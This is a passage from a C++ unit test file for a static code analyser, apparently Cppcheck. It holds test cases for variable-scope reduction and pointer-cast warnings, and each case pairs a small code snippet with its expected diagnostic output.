\"}\\n\"\n \"void f4(std::vector v) {\\n\"\n \" std::vector w{ 10 };\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f5(std::vector v) {\\n\"\n \" std::vector w(v);\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f6(std::vector v) {\\n\"\n \" std::vector w(v.begin(), v.end());\\n\"\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f7(std::vector v) {\\n\"\n \" std::vector w(10, 0, std::allocator);\\n\" // FN\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f8(std::vector v) {\\n\"\n \" std::vector w(10, 0);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f9(std::vector v) {\\n\"\n \" std::vector w(10);\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\"\n \"void f10(std::vector v) {\\n\"\n \" std::vector w{};\\n\" // warn\n \" bool b = g(v);\\n\"\n \" if (b)\\n\"\n \" h(w);\\n\"\n \" h(v);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:25:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:32:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:60:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:67:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\"\n \"[test.cpp:74:22]: (style) The scope of the variable 'w' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope32() { // #11441\n check(\"template \\n\"\n \"std::vector g(F, const std::vector&);\\n\"\n \"void f(const std::vector&v) {\\n\"\n \" std::vector w;\\n\"\n \" for (auto x : v)\\n\"\n \" w = g([&]() { x; }, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (warning) Unused variable value 'x' [constStatement]\\n\", errout_str());\n }\n\n void varScope33() { // #11131\n check(\"struct S {\\n\"\n \" const std::string& getStr() const;\\n\"\n \" void mutate();\\n\"\n \" bool getB() const;\\n\"\n \"};\\n\"\n \"void g(S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" s.mutate();\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void g(char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" s[0] = '\\\\0';\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const S& s) {\\n\"\n \" std::string str = s.getStr();\\n\"\n \" std::string str2{ s.getStr() };\\n\"\n \" std::string str3(s.getStr());\\n\"\n \" if (s.getB()) {\\n\"\n \" if (str == \\\"abc\\\") {}\\n\"\n \" if (str2 == \\\"abc\\\") {}\\n\"\n \" if (str3 == \\\"abc\\\") {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(const char* s, bool b) {\\n\"\n \" int i = strlen(s);\\n\"\n \" if (b) {\\n\"\n \" if (i == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\"\n \"void f(int j, bool b) {\\n\"\n \" int k = j;\\n\"\n \" if (b) {\\n\"\n \" if (k == 5) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:21:17]: (style) The scope of the variable 'str' can be reduced. [variableScope]\\n\"\n \"[test.cpp:22:17]: (style) The scope of the variable 'str2' can be reduced. [variableScope]\\n\"\n \"[test.cpp:23:17]: (style) The scope of the variable 'str3' can be reduced. [variableScope]\\n\"\n \"[test.cpp:31:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\"\n \"[test.cpp:37:9]: (style) The scope of the variable 'k' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope34() { // #11742\n check(\"void f() {\\n\"\n \" bool b = false;\\n\"\n \" int i = 1;\\n\"\n \" for (int k = 0; k < 20; ++k) {\\n\"\n \" b = !b;\\n\"\n \" if (b)\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope35() { // #11845\n check(\"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = strcpy(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" msg = g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char* g(char* dst, const char* src);\\n\"\n \"void f(int err, const char* src) {\\n\"\n \" const char* msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" g(buf, src);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope36() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope37() {\n // #12158\n check(\"void f( uint32_t value ) {\\n\"\n \" uint32_t i = 0U;\\n\"\n \" if ( value > 100U ) { }\\n\"\n \" else {\\n\"\n \" if( value > 50U ) { }\\n\"\n \" else{\\n\"\n \" for( i = 0U; i < 5U; i++ ) {}\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope38() {\n checkP(\"bool dostuff();\\n\" // #12519\n \"#define DOSTUFF(c) if (c < 5) { if (c) b = dostuff(); }\\n\"\n \"#define DOSTUFFEX(c) { bool b = false; DOSTUFF(c); }\\n\"\n \"void f(int a) {\\n\"\n \" DOSTUFFEX(a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope39() {\n check(\"struct S {\\n\" // #12405\n \" void f(const std::string&) const;\\n\"\n \" const int* g(std::string&) const;\\n\"\n \"};\\n\"\n \"void h(int);\\n\"\n \"void S::f(const std::string& s) const {\\n\"\n \" std::string n = s;\\n\"\n \" const int* a = g(n);\\n\"\n \" if (n == \\\"abc\\\") {\\n\"\n \" h(a[0]);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope40() {\n checkP(\"#define NUM (-999.9)\\n\" // #8862\n \"double f(int i) {\\n\"\n \" double a = NUM;\\n\"\n \" double b = -NUM;\\n\"\n \" double c = -1.0 * NUM;\\n\"\n \" if (i == 1) {\\n\"\n \" return a;\\n\"\n \" }\\n\"\n \" if (i == 2) {\\n\"\n \" return b;\\n\"\n \" }\\n\"\n \" if (i == 3) {\\n\"\n \" return c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: 